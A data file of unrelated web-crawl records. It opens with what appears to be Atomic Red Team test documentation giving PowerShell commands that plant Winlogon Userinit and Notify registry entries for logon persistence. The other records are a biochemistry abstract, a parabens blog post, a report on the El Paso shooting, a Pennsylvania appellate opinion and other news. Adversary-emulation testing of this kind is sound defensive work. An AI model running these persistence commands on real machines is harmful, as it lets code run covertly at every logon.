| binary_to_execute | Path of binary to execute | Path | C:\Windows\System32\cmd.exe|
#### Attack Commands: Run with `powershell`!
```powershell
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, #{binary_to_execute}" -Force
```
#### Cleanup Commands:
```powershell
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Userinit" -Force -ErrorAction Ignore
```
<br/>
<br/>
## Atomic Test #3 - Winlogon Notify Key Logon Persistence - PowerShell
PowerShell code to set Winlogon Notify key to execute a notification package DLL at logon.
Upon successful execution, PowerShell will modify a registry value to execute atomicNotificationPackage.dll upon logon/logoff.
**Supported Platforms:** Windows
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| binary_to_execute | Path of notification package to execute | Path | C:\Windows\Temp\atomicNotificationPackage.dll|
#### Attack Commands: Run with `powershell`!
```powershell
New-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" -Force
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" "logon" "#{binary_to_execute}" -Force
```
#### Cleanup Commands:
```powershell
Remove-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" -Force -ErrorAction Ignore
```
<br/>
| 2024-06-02T01:26:51.906118 | https://example.com/article/3367 |
Purification of bovine brain adenylyl cyclase with a novel derivative of forskolin: evidence for a high specific activity form of the enzyme.
An improved affinity support for the purification of adenylyl cyclase was prepared from 7-desacetyl-7-aminoethylaminocarbonyl forskolin. This analog allows convenient synthesis of an affinity matrix that is chemically stable, with-standing repeated use for up to two years, and efficient, yielding purifications of adenylyl cyclase from solubilized bovine brain membranes of 2,000-6,000 fold in a single step. Immunoblotting data suggest that the majority of the enzyme purified in this fashion differs from forms described previously. Since the specific activity of this preparation is substantially higher than that described in previous reports, it is possible that the purification described here selects, presumably on the basis of affinity for forskolin, for a form of adenylyl cyclase with higher specific activity than any described previously. | 2023-11-28T01:26:51.906118 | https://example.com/article/4808 |
Andy can talk publicly all he likes about not caring about being Number 1. I'd like to believe him.. but I don't. He's far too competitive to not care.Some great stuff here from all the Number Ones over the past 40 years.Grab a coffee and enjoy. | 2024-01-27T01:26:51.906118 | https://example.com/article/1707 |
Are you RSVP'd to the event of the season?
A whopping 27,000 people have said they were "going" to this event and another 30,000 have marked their interest on Facebook. At its core, the event is a call to action: grab your fan and point that baby at Hurricane Irma.
Talk about what sort of fans might get the job done has been keeping the comment section alive in the group. Though the event is marked to 'take place' in the United States, people who live in the European Union are weighing in. They are discussing the option of using vacuums to pull Irma out to sea while the fans in the United States side push Irma away.
Seems completely logical, because in the land of the internet everything is a joke with 50 layers of poorly nuanced memes.
Of course, the combined 57,000 people in on this elaborate joke know that fans, nor vacuums, are going to sway the path of Irma. Humor, however, can be an effective medicine when dealing with serious matters.
With all of the destruction, chaos, and death that has come in the wake of Hurricane Harvey, it is understandable to meet the potential of something similar with humor. So here's to both a laugh and legitimate concern for those in the path of Irma. She is a strong storm and where she is headed still is not perfectly clear. | 2024-05-25T01:26:51.906118 | https://example.com/article/7931 |
Hi friends! As promised, a follow up to my post a
couple of weeks ago on the chemical ingredient, fragrance, here's what I
learned about another member of the dirty dozen: parabens (butylparaben,
specifically). Most of my references came from the David Suzuki
Foundation, as well as EWG's Skin Deep
Database, Good Guide,
and as a few abstracts or research reports published on PubMed.
Butylparaben is a class of parabens commonly used in water-based
formulas in shampoos, conditioners and lotions. Parabens are found in 75
to 90 percent (typically at low levels) of cosmetics, making them the most
widely used cosmetic preservative. Synthetic parabens are absorbed by the
body and have been found to interfere with hormone function, and accumulate in
breast cancer tissue. The concern over parabens has been and continues to
be widely debated. There is little information available on any hazardous
effects of parabens on the environment. While the European Union treats
these synthetic compounds as cause for concern, there are currently no
restrictions on parabens in Canada.
According to the David Suzuki Foundation,
low levels of parabens occur naturally in certain foods, including barley, strawberries,
currents, vanilla, carrots, and onions, and are metabolized when eaten, making
them less likely to affect estrogen levels. In contrast, when the
synthetic petrochemical preparation used in cosmetics is applied to the skin,
it is easily absorbed by the body, circumventing the metabolic process and
entering the blood stream and organs intact.
Some studies have shown that parabens
can imitate estrogen and may also interfere with male reproductive
functions. Parabens are also suspected to interfere with the enzyme found
in the skin that flushes estrogen from the body, resulting in elevated levels
of estrogen. This bodes well for the argument that parabens are absorbed
into the body enough to be a concern. Parabens have also been detected in
breast cancer tissues, inferring a possible association between parabens in
cosmetics and cancer.
Based on the evidence that parabens
interfere with hormone function, the European Commission on Endocrine
Disruption has prioritized them as a Category 1 substance. While international
regulations on parabens are strong, there are no restrictions on the use of
parabens in cosmetics in Canada. The David Suzuki Foundation suggests
that more research is needed regarding levels of
parabens in people. Human exposure has been indicated in studies
conducted by the US Centers for Disease
Control and Prevention, which found four different parabens in urine samples.
EWG rates the overall hazard of butylparaben slightly above
moderate (7 out of 10), with a high concern for endocrine disruption. It
gives a slightly below moderate rating for allergies and immunotoxicity and
developmental and reproductive toxicity, and an in between low and no rating
for cancer. Good Guide rates butylparaben of high regulatory concern given
that it meets the criteria used to identify “Substance of Very High Concern” in
the European Union’s REACH program and is being prioritized for replacement by
safer alternatives.
There does not seem to be a lot of available information on
the effects of parabens on the environment. I was able to find two
studies conducted in 2007 by the University of Tokushima in Japan: one acutely
testing the removal efficiency of butylparaben (and benzylparaben) from a
wastewater treatment plant and one on the persistence of paraben compounds in
aquatic environments. The results from the study on the efficiency of
waste removal suggested the necessity of further
study such as “more detailed large-scale monitoring and chronic toxicity
tests.” The second test conducted river water biodegradation tests and
found that butylparaben (and benzylparaben) were relatively biodegradable;
however, the level of degradability was dependent on the site and time in which
the sample was taken. Experiments were also conducted to determine the
absorption levels in river sediments and a soil sample. The concentration
level of butylparaben was similar to that of natural estrogen.
Even though the research, albeit
limited, indicates that butylparaben is relatively biodegradable and its
absorption levels are similar to that of natural estrogen, it is my opinion
that care should be taken in both the manufacturing and disposal of the
compound to protect the degradation of waterways and to prevent an increase in
concentration levels of estrogen. Given the potential for these
environmental effects, as well as the health concerns described above, I
believe that best efforts should be made to avoid this ingredient.
Finding products that do not contain parabens has been
easier than I anticipated. Thankfully, concern has been growing over the
years about manufacturer’s use of toxic chemicals, resulting in an increased
amount of studies and forcing many companies to find alternatives in order to make
their products safer. Many companies now boast ‘paraben free’ products,
no doubt improving their marketability to concerned consumers. Aveda is
one such company who has recently stopped
manufacturing products with parabens. However, as I said in my last
post, it's important to stay critical: their products still contain other toxic
ingredients, nor can we be sure that the 'alternatives' to parabens are safe,
if they've not been tested.
It is ultimately up to
us, the individual consumer, to decide; we are lucky enough to live in a first
world country where we have access to so much information and are able to
exercise our right to choose. It’s a right we ought not to take for
granted. And, if we’re not ready to give up a beloved product, we can consider
making a change elsewhere in our house to offset that product. For
example, I don’t feel ready to give up my Aveda products yet; so, we’ve recently
started changing some of our household cleaning products. This feels
easier for me, probably because I feel less of an attachment to cleaning
products, than I do to my hygiene products. Making adjustments that we
are excited about are far more likely to result in lasting changes. | 2024-02-04T01:26:51.906118 | https://example.com/article/4370 |
Dozens have been shot by a gunman at a Walmart in El Paso, Texas. At least 20 fatalities have been confirmed. One suspect is in custody.
One person has been placed in custody, EL Paso police confirmed, adding that the alleged attacker was apprehended without incident. A total of 20 people were killed in the shooting, and another 26 were injured.
Also on rt.com 20 confirmed killed in El Paso Walmart shooting rampage
Police have yet to formally identify the shooter, who has been named in mutlple media reports as Patrick Crusius of Dallas. Sgt Robert Gomez, a spokesman for the El Paso Police Department, described the suspect as a “white male in his 20s.”
Several extremely graphic videos, purportedly taken at the scene, have emerged online. One shows at least three bodies lying outside the Walmart and in its parking lot. In another one, people are seen fleeing the store past a person lying on the floor in a large blood puddle.
Meanwhile a short clip of a man hiding under furniture while multiple shots are heard in the background has been making the rounds in the media.
The shooting at the Cielo Vista Mall area started around 11am local time on Saturday, and the scene remained “active” for more than an hour. Police said they received reports of multiple shooters, which later proved to be false.
Scene is still Active. We have multi reports of multiple shooters. Please avoid area police conducting search of a very large area. Media staging will be given when area is secure. — EL PASO POLICE DEPT (@EPPOLICE) August 3, 2019
#Update: Just in - Video footage of police clearing out the entire Cielo Vista Mall in El Paso, #Texas. Where a gunman who is still at large shot at least 18 people and one person dead in a #Walmart and on a parking lot. pic.twitter.com/tqb0iKwNmh — Sotiri Dimpinoudis (@sotiridi) August 3, 2019
Witnesses said a man armed with an AK-style rifle began shooting outside the Walmart and then went on a rampage inside the store. Stills from CCTV videos appear to confirm the type of weapon used.
Footage from the scene shows heavily armed officers and police helicopters deployed.
This is literally so ugly what’s happening in El Paso right now!!! Que dios bendiga a todos. pic.twitter.com/4Jt5YSwWcU — maria fernanda🇲🇽 (@Illegallybabe) August 3, 2019
BREAKING: Police are advising everyone avoid the Cielo Vista area as an active shooter alert is in effect near the Cielo Vista Mall area #ElPaso#ElPasoShootingpic.twitter.com/cNpa5Z90Rd — Jorge Salgado (@SalgadoPhoto_) August 3, 2019
Terrible shootings in ElPaso, Texas. Reports are very bad, many killed. Working with State and Local authorities, and Law Enforcement. Spoke to Governor to pledge total support of Federal Government. God be with you all! — Donald J. Trump (@realDonaldTrump) August 3, 2019
Meanwhile, reports have emerged about the shooter's alleged “manifesto”. Scott Stedman, a journalist with ForensicNews.net, said he had received a 4-page document said to have originally been posted on the notorious image board 8chan. It allegedly calls the attack “a response to the Hispanic invasion of Texas” and claims to provide insight into the extreme-right views of the shooter. The FBI is investigating the document, according to Stedman.
BREAKING: FBI investigating possible manifesto from the shooter which starts with the following two sentences: "In general, I support the Christchurch shooter and his manifesto. This attack is a response to theHispanic invasion of Texas" — Scott Stedman (@ScottMStedman) August 3, 2019 | 2024-07-20T01:26:51.906118 | https://example.com/article/4380 |
Determine whether cellular or humoral immunity specific to an individual patient's tumor mutant RAS or P53 oncogene products exist and if such immunity can be induced or boosted by vaccination with a synthetic peptide specific to the mutation in RAS or P53 present in a patient's tumor. Also, assess toxity form such vaccination. We are still recruiting patients for the protocol. | 2023-09-13T01:26:51.906118 | https://example.com/article/6542 |
J-S20038-17
NON-PRECEDENTIAL DECISION - SEE SUPERIOR COURT I.O.P. 65.37
COMMONWEALTH OF : IN THE SUPERIOR COURT OF
PENNSYLVANIA : PENNSYLVANIA
:
:
v. :
:
:
MONROE YATES :
: No. 2936 EDA 2015
Appellant
Appeal from the Judgment of Sentence July 22, 2015
In the Court of Common Pleas of Philadelphia County
Criminal Division at No(s): CP-51-CR-0014350-2013
BEFORE: BOWES, J., OTT, J. and FORD ELLIOTT, P.J.E.
MEMORANDUM BY OTT, J.: FILED OCTOBER 06, 2017
Monroe Yates appeals from the judgment of sentence imposed on July
22, 2015, in the Court of Common Pleas of Philadelphia County following his
conviction by jury on charges of attempted murder, conspiracy to commit
murder, and various weapons offenses.1 He received an aggregate sentence
20 to 40 years’ incarceration. In this timely appeal, Yates claims the evidence
was insufficient to support the verdict, the verdict was against the weight of
the evidence, the trial court erroneously charged the jury regarding
identification, and the trial court erroneously announced a stipulation to the
jury. After a thorough review of the submissions by the parties, relevant law,
and the certified record, we affirm.
____________________________________________
1 18 Pa.C.S. §§ 901(a), 1102(c), 6106(a)(1) and 6108.
J-S20038-17
We adopt the factual summary of this matter from the trial court
opinion:
On June 17, 2013, around nine o’clock in the evening,
Lakeisha Jessie was with her sons Sahih Johnson and Jahih Yates
in North Philadelphia. Sahih asked his mother if he could spend
the night at a friend’s house. When Lakeisha said no, Sahih called
her a “bitch.” After this disagreement, Lakeisha’s nephew Robert
Jackson walked by, and Lakeisha asked him to “beat up” Sahih for
disrespecting her. Robert continued the physical confrontation
with Sahih until Lakeisha told him to stop.
Later that evening, Robert and Sahih encountered one
another and began fighting again. Lakeisha then noticed that her
son Jahih’s father, [Monroe Yates (hereinafter, Yates)], was
arguing with Robert as well. At this time Lakeisha called Robert’s
mother, her sister Kimberly Jessie, to pick up her son. When
Lakeisha told [Yates] to leave Robert alone, he walked away
towards Franklin Street.
Kimberly Jessie was with friends nearby on 10th Street when
Lakeisha called her. As she walked down 9th Street near Pike
Street to find her son Robert, Kimberly passed [Yates] and
[Biggs.2] She stopped to speak to [Yates] about the incident.
While they were speaking, Kimberly’s sons Robert, Raheim and
Tyreek approached them. Raheim said, “Nobody is going to do
anything. Nobody is going to touch my family.” This made [Yates]
and [Biggs] angry, and Kimberly walked them across the street.
[Yates] and [Biggs] left together in a white vehicle.
At approximately 10:30 that evening, Officers Dayton
Bennett and Joseph Marion responded to a report of shots fired in
the area of 9th and Pike Streets. The initial call reported five or
six shots fired. Upon arrival, the officers found a group of around
20 people gathered in the area. They also saw Kimberly Jessie
lying on the curb between Percy and Delhi Streets. She had been
shot and was in distress, screaming “They tried to shoot my son.
They tried to shoot my son. The mother f-ers tried to shoot my
son.” Kimberly testified that she was shot in the right thigh, and
____________________________________________
2Mark Biggs, a/k/a Saladine Sweets, was Yates’s co-defendant. His appeal
was listed consecutively with this appeal.
-2-
J-S20038-17
that the bullet entered from the back and exited the front of her
leg.
Lakeisha Jessie was also at the scene and spoke to Officer
Marion when he arrived. Lakeisha identified [Yates] and [Biggs]
as the shooters to Officer Marion at this time. Once Kimberly was
transported to the hospital, Lakeisha was brought to East
Detective’s Division to make an official statement. Detectives
Kahlan and Daley interviewed Lakeisha at about 11:35 PM. At this
time, Lakeisha again identified [Yates] and [Biggs] as the
individuals who had shot at her nephew, Raheim Jackson, and his
mother Kimberly. She stated that she saw both men holding black
handguns.
After being treated for her injuries, Kimberly Jessie was also
interviewed by Detectives Kahlan and Daley that night. Detective
Daley described her as “hysterical. She was in a lot of pain. She
was upset, angry, a lot of emotions.” Kimberly had brought the
jeans she had been wearing to the detectives, who placed them
on a property receipt. During this interview, Kimberly also
identified [Yates] and [Biggs] as the shooters, and circled both of
their pictures. She told detectives that she saw each man holding
a handgun, one black and one silver. Although the interview was
cut short due to the pain Kimberly was in, she was able to review
and sign her statement that evening.
Detectives Ellis and McCullough processed the scene of the
shooting to search for evidence. After an initial search of the area
did not yield any results, they went to Temple University Hospital
to speak to Kimberly Jessie, who was still being treated at that
time. They learned that she had been shot closer to 9 th Street,
and returned to the scene to refocus their search. They
discovered two fired cartridge casings east of 9 Street, in an area
th
that had not been previously secured as part of the crime scene.
The first casing was found under a Chevrolet Impala parked at the
southeast corner of 9th and Pike Streets. The second casing was
recovered from under a Toyota Corolla in the same area. The
Toyota Corolla appeared to have a bullet hole in the hood. Both
fired cartridge casings were of the same make and model.
Firearms examiner Letitia Cannon examined the fired cartridge
casings and concluded that they had been fired from the same
firearm.
Another bullet went into the home of Della Jamison at 3900
North Delhi Street, at the corner of Pike Street. Ms. Jamison
-3-
J-S20038-17
testified that she had heard what sounded like gunshots that
evening, and thought something may have hit her house. Upon
going upstairs later that night, she found damage to a hat and
perfume bottle. Officer Malcolm Scott investigated Ms. Jamison’s
house the next day when she reported the damage. In his report,
Officer Scott noted that a “possible bullet went through the front
bedroom wall, traveled through the middle bedroom, and is
lodged in the bedroom wall.”
On August 10, 2013, Sergeant Wali Shabazz was making an
unrelated car stop at 10th and Butler Streets in the same
neighborhood as the shooting and was approached by Kimberly
Jessie. After finishing the car stop, Sergeant Shabazz walked over
to Kimberly to speak with her. She told him that he should “be
looking for the people that shot me,” and that she was “scared for
myself and my kids.” Sergeant Shabazz asked her for the names
of the men who shot her, and she responded with [Yates’s] and
[Biggs’] names.
Sergeant Shabazz found a warrant for [Yates], and went to
the address listed at the 3900 block of Franklin Street. When
[Yates] came to the door, Sergeant Shabazz, who was in full
uniform, told him he was there to respond to a burglary alarm.
When [Yates] replied that he did not have an alarm, Sergeant
Shabazz excused himself and called for backup. When Sergeant
Shabazz returned to the door, [Yates’s] wife answered. [Yates]
then tried to slam the door on Sergeant Shabazz and ran towards
the back of the house. Sergeant Shabazz pursued him to the back
door and was able to place [Yates] under arrest.
Sergeant Shabazz remained in touch with Kimberly Jessie
regarding [Biggs], whose whereabouts were still unknown at the
time. [Biggs] was not present in the City of Philadelphia, and was
eventually apprehended by United States Marshalls (sic) on
November 8, 2013.
Trial Court Opinion, 6/17/2016, at 2-5 (record citations omitted).
Relevant to this appeal, at trial, both Kimberly Jessie and her sister,
Lakiesha Jessie, recanted their statements to the police and denied ever
identifying Yates or Biggs as the assailants. Raheim Jackson, the apparent
intended victim of the shooting, never cooperated with the authorities, telling
-4-
J-S20038-17
them only “some niggas were shooting and that’s all I want to say,” 3 as well
as this brief exchange:
Police Detective: Your Mom was shot, don’t you think you owe to
her to cooperate and tell us what you can about the incident?
Witness: My Mom had me arrested on the same day I was going
to get a job with the school board so she wasn’t looking out for
me.
Id. at 3.
In his first issue, Yates claims there was insufficient evidence to support
any of his convictions. His post-trial motion failed to specify what elements
of any of the crimes were not proven. While this can result in waiver, here,
the trial court did address certain aspects of insufficient evidence, thereby
allowing for appellate review.4 However, we will only review those issues that
were addressed by the trial court’s opinion, as “issues not raised in the lower
court are waived and cannot be raised for the first time on appeal.”
Commonwealth v. McGriff, 160 A.3d 863, 872 (Pa. Super. 2017) (citation
omitted); Pa.R.A.P. 302. Accordingly, below we discuss the issues addressed
by the trial court regarding sufficiency of the evidence.
____________________________________________
3 Commonwealth Exhibit 9, Police Interview, 6/18/2013, at 2.
4See Commonwealth v. Tyack, 128 A.3d 254 (Pa. Super. 2015) (vague
Pa.R.A.P. 1925(b) statement can result in waiver); Commonwealth v.
Smith, 955 A.2d 391 (Pa. Super. 2008) (en banc) (where trial court files an
opinion meaningfully addressing vague Pa.R.A.P. 1925(b) statement, waiver
may be avoided).
-5-
J-S20038-17
Initially, “A conviction for attempted murder requires the
Commonwealth to prove beyond a reasonable doubt that the defendant had
the specific intent to kill and took a substantial step towards that goal.”
Commonwealth v. Blakeney, 946 A.2d 645, 652 (Pa. 2008) citing 18
Pa.C.S. §§ 901, 2502. Additionally, “It is well-settled that specific intent to
kill can be established through circumstantial evidence such as the use of a
deadly weapon on a vital part of the victim's body.” Commonwealth v.
Johnson, 107 A.3d 52, 66 (Pa. 2014) (citations omitted). Such intent may
also be proven through evidence the defendant fired multiple shots at the
victim, even though none of the shots struck the victim in a vital organ. See
Commonwealth v. Manley, 985 A.2d 252 (Pa. Super. 2009).
Here, the police statements of both Kimberly Jessie and Lakeisha Jessie
identified Yates as one of the individuals shooting at Raheim Jackson, and
multiple witnesses, including the Jessie sisters, reported hearing the assailants
fire between four and six shots each at Raheim Jackson and his mother,
Kimberly Jessie. Additionally, the police found two spent shell casings, both
of which came from the same gun, in the immediate area of the shooting.
Moreover, there was evidence the shootings took place following a
confrontation between Jackson and Yates, ending with Yates and Biggs
chasing Jackson down the street while firing at him. In view of the foregoing,
-6-
J-S20038-17
we agree with the trial court there was sufficient evidence to support a finding
of guilt regarding attempted murder.5
Next, the trial court determined there was sufficient evidence to support
the verdicts on the firearms charges, 18 Pa.C.S. §§ 6105, 6106, and 6108.6
The trial court noted that it was stipulated that Yates was not eligible to
possess a firearm under § 6105. Because Yates could not obtain a license for
a firearm, pursuant to § 6105, and there was no question the incident took
place in Philadelphia, the open question was simply whether Yates had a
firearm in his possession. The trial court noted that both Kimberly Jessie and
Lakeisha Jessie gave statements to the police that Yates had a handgun in his
possession. That fact, coupled with spent shell casings at the shooting scene,
and additional testimony confirming shots were heard at the relevant time,
____________________________________________
5 In his appellant’s brief, Yates also argued the Commonwealth failed to argue
the applicability of transferred intent in this case. Transferred intent is
relevant if one believes that Raheim Jackson was the intended target of the
shooting, but his mother was inadvertently struck. We note the trial court
instructed the jury regarding transferred intent without objection from either
of the defendants. See N.T. Trial, 1/28/2013, at 20-21. Additionally, the
argument is waived as that specific claim was not raised before the trial court
and was not addressed by the trial court in its trial court opinion. A defendant
may not raise an issue for the first time on appeal. McGriff, supra.
6Persons not to possess a firearm, firearms not to be carried without a license,
and carrying firearms in public in Philadelphia, respectively.
-7-
J-S20038-17
provide sufficient evidence to support the convictions on the firearms
charges.7
In view of the above, Yates is not entitled to relief on his claim of
insufficient evidence.
Next, Yates argues the verdict was against the weight of the evidence.
Although the claim was preserved in a post-sentence motion, once again, the
claim was non-specific. Nevertheless, the trial court understood the claim to
reference Kimberly Jessie and Lakiesha Jessie both disavowing their signed
statements to the police.8 Our standard of review for a challenge to the weight
of the evidence is, as follows:
____________________________________________
7 Yates argued there was insufficient evidence to support the firearms
convictions under section 6106 and 6108 because the Commonwealth failed
to present any evidence of barrel length of the guns used in the shootings.
See Commonwealth v. Todd, 384 A.2d 1215 (Pa. 1978) (barrel length is an
essential element of the offenses defined in sections 6105 and 6106). Barrel
length of a weapon is specifically part of the definition of a firearm found in
Pa.C.S. § 6102. We note the definition of “firearm” has been amended
regarding section 6105, and certain exceptions, not applicable herein, to
section 6106. See also, Commonwealth v. Gillespie, 821 A.2d 1221 (Pa.
2003) (recognizing the definitional change as to section 6105 only). However,
Yates did not raise this specific claim before the trial court and the trial court
did not address the claim. Accordingly, it has been waived.
8 At trial, Kimberly Jessie testified, “If you all ain’t send those people to my
mom’s house, I never came here. [The Commonwealth sent police to Kimberly
Jessie’s residence to make certain she came to court to testify.] I just want
to be over with this. I am done with it. I moved on with my life and my
grandkids. I don’t want to be bothered or talking about this anymore. I don’t
feel like they life-threatening to me or my children. I just want to leave.” N.T.
Trial, 1/21/2015 at 38.
-8-
J-S20038-17
An appellate court's standard of review when presented with a
weight of the evidence claim is distinct from the standard of review
applied by the trial court:
Appellate review of a weight claim is a review of the exercise
of discretion, not of the underlying question of whether the
verdict is against the weight of the evidence.
[Commonwealth v.] Brown, 648 A.2d [1177] at 1189
[(Pa. 1994)]. Because the trial judge has had the
opportunity to hear and see the evidence presented, an
appellate court will give the gravest consideration to the
findings and reasons advanced by the trial judge when
reviewing a trial court's determination that the verdict is
against the weight of the evidence.. Commonwealth v.
Farquharson, 467 Pa. 50, 354 A.2d 545 (Pa. 1976). One
of the least assailable reasons for granting or denying a new
trial is the lower court's conviction that the verdict was or
was not against the weight of the evidence and that a new
trial should be granted in the interest of justice.
[Commonwealth v.] Widmer, 560 Pa. [308] at 321-22, 744
A.2d [745] at 753 (emphasis added).
This does not mean that the exercise of discretion by the trial court
in granting or denying a motion for a new trial based on a
challenge to the weight of the evidence is unfettered. In describing
the limits of a trial court's discretion, we have explained:
The term “discretion” imports the exercise of judgment,
wisdom and skill so as to reach a dispassionate conclusion
within the framework of the law, and is not exercised for the
purpose of giving effect to the will of the judge. Discretion
must be exercised on the foundation of reason, as opposed
to prejudice, personal motivations, caprice or arbitrary
actions. Discretion is abused where the course pursued
represents not merely an error of judgment, but where the
judgment is manifestly unreasonable or where the law is not
applied or where the record shows that the action is a result
of partiality, prejudice, bias or ill-will.
Widmer, 560 Pa. at 322, 744 A.2d at 753 (quoting Coker v. S.M.
Flickinger Co., 533 Pa. 441, 447, 625 A.2d 1181, 1184-85
(1993)).
Commonwealth v. Clay, 64 A.3d 1049, 1055-56 (Pa. 2013).
-9-
J-S20038-17
Here, the trial court succinctly determined:
In the instant case, [Yates] and his co-defendant were
immediately identified by the complainant and her sister as the
shooters. Although both women testified differently at trial,
evidence of the earlier statements made to police were presented
and entered into evidence. The jury had the opportunity to
observe these inconsistencies in testimony and was able to take
this into account when deliberating. The fact that [Yates] and Co-
Defendant were found guilty after all the evidence was presented
was not contrary to the evidence or shocking to the conscience.
The jury is always free to determine which testimony to believe
and how much weight to give testimony. Here, the jury chose to
credit the statements of the complainant and her sister, and the
testimony of the detectives investigating the case. The fact that
the jury found [Yates] and his co-defendant guilty after weighing
all the evidence does not shock one’s sense of justice.
Trial Court Opinion, 6/17/2016, at 6-7 (citation omitted).
We have reviewed the certified record and find no abuse of discretion in
the trial court’s determination. Therefore, Yates is not entitled to relief on this
issue.
In his third issue, Yates claims the trial court erred in providing an
erroneous identification charge to the jury. Specifically, Yates argues the trial
court misled the jury by suggesting Kimberly Jessie and Lakeisha Jessie had
identified him as a shooter at trial.
Our review of a challenge to a jury charge is well settled:
“When reviewing a challenge to a jury instruction, we review the
charge as a whole to ensure it was a fair and complete statement
of the law.” Trial courts possess great discretion in phrasing jury
instructions so long as the law is clearly, adequately, and
accurately presented to the jury. “[A] trial court need not accept
counsel’s wording for an instruction, as long as the instruction
given correctly reflects the law.”
- 10 -
J-S20038-17
Commonwealth v. Towles, 106 A.3d 591, 607 (Pa. 2014) (internal citations
omitted), cert. denied, 135 S.Ct 1494 (U.S. 2015).
The trial court initially instructed the jury as follows:
Now, in their testimony, Lakeisha Jessie and Kimberly Jessie
have identified the defendants as persons who committed the
crime. In evaluating their testimony in addition to the other
instructions I provided to you for judging testimony of witnesses,
you should consider the following factors: Did the witness have a
good opportunity to observe the perpetrator of the offense; was
there sufficient lighting for them to make their observation; where
(sic) they close enough to the individual to note their facial and
other physical characteristics as well as any clothing they were
wearing; have they made prior identification[s] of the defendant
as perpetrator of these crimes or at any other proceedings; was
their identification positive or was it qualified by any hedging or
inconsistencies; during the course of this case did the witness
identify anyone else as [a] perpetrator.
In considering whether or not to accept testimony of
Lakeisha Jessie and/or Kimberly Jessie you should consider all the
circumstances under which the identification[s] were made.
****
You cannot find defendant guilty unless you are satisfied
beyond a reasonable doubt by all the evidence, direct and
circumstantial, not only that the crime was committed, but that it
was [the] defendant who committed it.
N.T., 1/28/2015, at 15-17. At the conclusion of the charge, the court
conducted a brief sidebar discussion with counsel, and then returned with the
following additional instructions concerning identification evidence:
And as for the instruction I gave you regarding identification
testimony by the witnesses that I mentioned to you previously, I
want to make it clear that that instruction which starts off with “in
their testimony the witnesses have identified the defendant as
[the] person who committed the crime”, that refers to the
previous identification done to the police and statements that
- 11 -
J-S20038-17
were recorded by the police which were presented to the witness
in court. And I’m referring to their previous identification.
That’s what that instruction which deals with identification
testimony that I read to you and it applies to the witness that I
gave to you which previously were Lakeisha Jessie, Kimberly
Jessie, and I believe, I just covered Lakeisha Jessie and Kimberly
Jessie.
Id. at 29. After the jury retired for deliberations, Yates’s attorney objected to
the court’s additional instruction, requesting the court specifically instruct the
jury “there was no identification evidence presented from either of these two
witnesses in court[.]” Id. at 32. Further, he complained the additional
instruction was inadequate because it was up to the Commonwealth to prove
“whether or not these women identified these two defendants as the doers,”
and that “the jury has now been instructed that [the witnesses] did in fact do
that at some point.” Id. Trial counsel for co-defendant Biggs joined in Yates’s
objection. See id. at 33. However, the court determined the instruction
was proper. See id. at 35.
We find no reason to disagree with the trial court’s ruling. Although the
court initially misstated that Lakeisha and Kimberly had identified Biggs and
Yates in their trial testimony, its additional instruction made clear that the
witnesses identified Yates and Biggs only in their prior statements to police.
The court had earlier instructed the jury that it could accept those prior
inconsistent statements in judging the witnesses’ credibility, and could “regard
[that] evidence as proof of the truth of anything that the witness said in the
earlier statement.” Id. at 21.
- 12 -
J-S20038-17
Prior to deliberation, the trial court corrected its misstatement and
accurately stated that both witnesses had identified Yates as a shooter prior
to trial. Examined in the context of the entire jury charge, including the
instruction regarding credibility and inconsistent statements, we find the
court’s charge “clearly, adequately, and accurately” presented the law to the
jury, as required by Towles, supra. Accordingly, Yates is not entitled to relief
on this issue.
In his final argument, Yates claims the trial court erred in announcing a
stipulation to the jury, he had not agreed to. On January 22, 2015, the trial
court informed the jury as follows:
Ladies and Gentlemen, it has been agreed to among counsel
regarding the issue locating the bullet or fragment that Officer
Scott came out to the house two days later, as this witness [Dr.
Rev. Della Jamison] has testified, and he was unable to find the
bullet or bullet fragment at that time.
N.T. Trial 1/22/2015, at 91.
Although counsel for Yates objected to this “stipulation,” in discussing
the issue at sidebar, counsel indicated his argument regarding the bullet was
as follows:
And eventually instead [of] arguing no bullet, I’m going to argue
they looked for it and didn’t find it. That’s all. And they didn’t.
The police didn’t find it.
Id. at 88.
- 13 -
J-S20038-17
While counsel’s intended argument appears to mirror the stipulation,9
counsel objected. Over counsel’s objection, the stipulation was announced to
the jury. Assuming, arguendo, that the trial court erred in announcing a
stipulation that was not specifically agreed to, Yates nonetheless fails to
demonstrate prejudice. He argues he was prejudiced because,
The Court allowed testimony with regard[] to the bullet entering
into Ms. Jameson’s home presumably to allow the Commonwealth
to prove the intent to kill on behalf of the doers. This stipulation
may or may not have swayed the jury to ultimately find that the
doers had the intent to kill; that is because this particular evidence
would clearly go to prove malice on behalf of the doers.
Yates’s Brief at 28.
This argument is illogical. The “stipulation” merely noted that two days
after the shooting, a police officer, following up on the report of a bullet coming
through a window, could not find any bullet at that time. We cannot see how
the stipulated inability to find a stray bullet demonstrates the “doers” were
intent upon killing someone. Additionally, Yates has argued that the defense
of this matter was one of identity – Yates denied he was one of the assailants.
See Yates’s Brief, at 26 (“The defense in the case was of identification, nor
[sic] self-defense or another affirmative defense.”). The “stipulated” fact did
nothing to prejudice that defense.
____________________________________________
9 The trial court announced the “stipulation” in order to prevent any of the
parties from inadvertently opening the door to the fact that a bullet fragment
was found in Dr. Jamison’s wall sometime later. The fragment had been
previously ruled inadmissible.
- 14 -
J-S20038-17
Because Yates can demonstrate no prejudice, he is not entitled to relief
on this issue.
In light of the foregoing, we find that Yates is not entitled to relief on
any of his claims. Accordingly, his judgment of sentence must be affirmed.
Judgment of Sentence affirmed.
Judgment Entered.
Joseph D. Seletyn, Esq.
Prothonotary
Date: 9/29/17
- 15 -
| 2023-09-20T01:26:51.906118 | https://example.com/article/6512 |
A five-year-old autistic boy is being punished for “overstepping boundaries” – hugging and kissing his classmates – and may be labeled a sex offender for life, his family says, accusing teachers of ignoring his condition.
Nathan, a kindergarten student in Chattanooga, Tennessee, was reported to the state for “sexual activities” about three weeks after his teacher at East Ridge Elementary School first called his guardian, Summery Putnam, to complain the boy had hugged one classmate and kissed another on the cheek.
